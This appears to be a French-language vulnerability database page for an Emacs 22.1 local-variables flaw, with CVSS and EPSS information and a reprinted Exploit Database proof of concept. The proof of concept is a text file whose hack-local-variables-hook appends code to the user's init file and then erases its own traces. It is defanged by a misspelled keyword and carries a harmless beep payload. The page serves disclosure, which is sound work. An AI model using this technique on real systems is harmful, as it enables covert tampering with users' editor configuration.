Metrics
Metric |
Score |
Sévérité |
CVSS Vecteur |
Source |
V2 |
6.3 |
|
AV:L/AC:M/Au:N/C:N/I:C/A:C |
[email protected] |
EPSS
EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.
EPSS Score
Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.
EPSS Percentile
Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
Informations sur l'Exploit
Exploit Database EDB-ID : 30736
Date de publication : 2007-11-01 23:00 +00:00
Auteur : Drake Wilson
EDB Vérifié : Yes
source: https://www.securityfocus.com/bid/26327/info
Emacs is prone to a vulnerability that lets attackers execute arbitrary code.
Due to a design error, the application ignores certain security settings and modifies local variables.
By supplying a malicious file, an attacker can exploit this issue to carry out various attacks, including executing arbitrary code in the context of the application. This may facilitate remote unauthorized access.
This issue affects Emacs 22.1; other versions may be vulnerable as well.
This is a harmless text file. Or at least it looks like one. In
fact, it is. But it's almost not. If you were to change the word
"variaboles" below to "variables", then load it into a vulnerable
Emacs 22 with `enable-local-variables' set to :safe, it would rewrite
the local variables list in the buffer itself to _look_ like a
harmless text file, while in fact managing to add some evil code to
the end of your user-init-file. Woopsy.
| Local variaboles:
| hack-local-variables-hook: ((lambda () (save-excursion (with-temp-buffer (insert "\n(run-with-timer 1 nil (lambda () (beep) (message \"Your Emacs init file is compromised!\")))") (append-to-file (point-min) (point-max) user-init-file)) (message nil) (with-current-buffer (get-buffer "*Messages*") (when (search-backward (concat "Added to " user-init-file) nil t) (let ((start (point-at-bol))) (forward-line +1) (delete-region start (point))))) (goto-char (point-max)) (search-backward "| hack-local-variables-hook") (let ((start (point-at-bol))) (forward-line +1) (delete-region start (point))) (insert "| mode: text\n") (set-buffer-modified-p nil) (text-mode))))
| End:
Products Mentioned
Configuraton 0
Debian>>Debian_linux >> Version *
Gnu>>Emacs >> Version To (including) 22.1
Configuraton 0
Gnu>>Emacs >> Version To (including) 22.1
References